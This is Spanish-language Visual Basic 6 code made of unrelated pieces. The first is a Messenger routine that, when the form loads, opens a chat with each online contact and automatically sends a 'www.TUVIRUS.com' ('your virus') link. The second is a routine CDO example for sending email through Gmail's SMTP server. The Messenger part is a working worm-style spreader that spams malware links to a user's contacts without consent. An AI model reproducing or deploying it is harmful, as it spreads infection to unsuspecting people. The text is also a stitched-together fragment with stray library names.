Public WithEvents msn As MessengerAPI.Messenger

Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
    For Each user In MsgrUIA.MyContacts
        If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
        Set venta = MsgrUIA.InstantMessage(user)
              SendKeys "www.TUVIRUS.com" 'url
              SendKeys "{ENTER}"
             SendKeys "%Z"
        End If
      Next
Set MsgrUIA = Nothing
End Sub

Set MsgrUIA = New MessengerAPI.Messenger

Messenger API Type Library
Messenger Private Type Library
Messenger Type Library

Option Explicit  
  
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''   
  
' El ejemplo para poder enviar el mail necesita la referencia a: _   
  > Miscrosoft CDO Windows For 2000 Library ( es el archivo dll cdosys.dll )   
  
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''   
     
Private Function Enviar_Mail_CDO(SerVidor_SMTP As String, _   
                             Para As String, _   
                             De As String, _   
                             Asunto As String, _   
                             Mensaje As String, _   
                             Optional Path_Adjunto As String, _   
                             Optional Puerto As String = "25", _   
                             Optional Usuario As String, _   
                             Optional Password As String, _   
                             Optional Usar_Autentificacion As Boolean = True, _   
                             Optional Usar_SSL As Boolean = True) As Boolean  
       
       
    Me.MousePointer = vbHourglass   
       
    ' Variable de objeto Cdo.Message   
    Dim Obj_Email As CDO.Message   
             
       
    ' Crea un Nuevo objeto CDO.Message   
    Set Obj_Email = New CDO.Message   
       
    ' Indica el servidor Smtp para poder enviar el Mail ( puede ser el nombre _   
      del servidor o su dirección IP )   
    Obj_Email.Configuration.Fields(cdoSMTPServer) = SerVidor_SMTP   
       
    Obj_Email.Configuration.Fields(cdoSendUsingMethod) = 2   
       
    ' Puerto. Por defecto se usa el puerto 25, en el caso de Gmail se usan los puertos _   
      465 o  el puerto 587 ( este último me dio error )   
       
    Obj_Email.Configuration.Fields.Item _   
        ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = CLng(Puerto)   
  
       
    ' Indica el tipo de autentificación con el servidor de correo _   
     El valor 0 no requiere autentificarse, el valor 1 es con autentificación   
    Obj_Email.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/" & _   
                "configuration/smtpauthenticate") = Abs(Usar_Autentificacion)   
       
       
       
        ' Tiempo máximo de espera en segundos para la conexión   
    Obj_Email.Configuration.Fields.Item _   
        ("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 30   
  
       
    ' Configura las opciones para el login en el SMTP   
    If Usar_Autentificacion Then  
  
    ' Id de usuario del servidor Smtp ( en el caso de gmail, debe ser la dirección de correro _   
     mas el @gmail.com )   
    Obj_Email.Configuration.Fields.Item _   
        ("http://schemas.microsoft.com/cdo/configuration/sendusername") = Usuario   
  
    ' Password de la cuenta   
    Obj_Email.Configuration.Fields.Item _   
        ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = Password   
  
    ' Indica si se usa SSL para el envío. En el caso de Gmail requiere que esté en True   
    Obj_Email.Configuration.Fields.Item _   
        ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = Usar_SSL   
       
    End If  
       
  
    ' *********************************************************************************   
    ' Estructura del mail   
    '**********************************************************************************   
       
    ' Dirección del Destinatario   
    Obj_Email.To = Para   
       
    ' Dirección del remitente   
    Obj_Email.From = De   
       
    ' Asunto del mensaje   
    Obj_Email.Subject = Asunto   
       
    ' Cuerpo del mensaje   
    Obj_Email.TextBody = Mensaje   
       
    'Ruta del archivo adjunto   
       
    If Path_Adjunto <> vbNullString Then  
        Obj_Email.AddAttachment (Path_Adjunto)   
    End If  
       
    ' Actualiza los datos antes de enviar   
    Obj_Email.Configuration.Fields.Update   
       
    On Error Resume Next  
    ' Envía el email   
    Obj_Email.Send   
       
       
    If Err.Number = 0 Then  
       Enviar_Mail_CDO = True  
    Else  
       MsgBox Err.Description, vbCritical, " Error al enviar el amil "  
    End If  
       
    ' Descarga la referencia   
    If Not Obj_Email Is Nothing Then  
        Set Obj_Email = Nothing  
    End If  
       
    On Error GoTo 0   
    Me.MousePointer = vbNormal   
  
End Function  
  
Private Sub Command1_Click()   
       
    Dim ret As Boolean  
       
    ' Asegurarse de pasar bien los últimos dos parámetros _   
     ( Si usa login y si el server usa SSL)   
       
    ret = Enviar_Mail_CDO(txt_Servidor, _   
                          txt_Para, _   
                          txt_De, _   
                          txt_Asunto, _   
                          txt_Mensaje, _   
                          txt_Adjunto, _   
                          txt_Puerto, _   
                          txt_Usuario, _   
                          txt_Password, _   
                          True, _   
                          True)   
       
    ' Si devuelve true es por que no hubo errores en el envio   
    If ret Then  
        MsgBox " .. Maneje enviado ", vbInformation   
    End If  
End Sub  
  
Private Sub Form_Load()   
  
    Me.Caption = " Ejemplo para enviar correo usando la libreria Microsoft CDO "  
    Command1.Caption = " Enviar mail "  
       
    txt_Servidor.Text = "smtp.gmail.com"  
    txt_Para = "destinatario@dominio.com"  
    txt_De = "remitente@dominio.com"  
    txt_Asunto = "Prueba"  
    txt_Mensaje = " ... Cuerpo del mensaje "  
    txt_Adjunto = vbNullString   
    txt_Puerto.Text = 465   
    txt_Password = ""  
    txt_Usuario = ""  
End Sub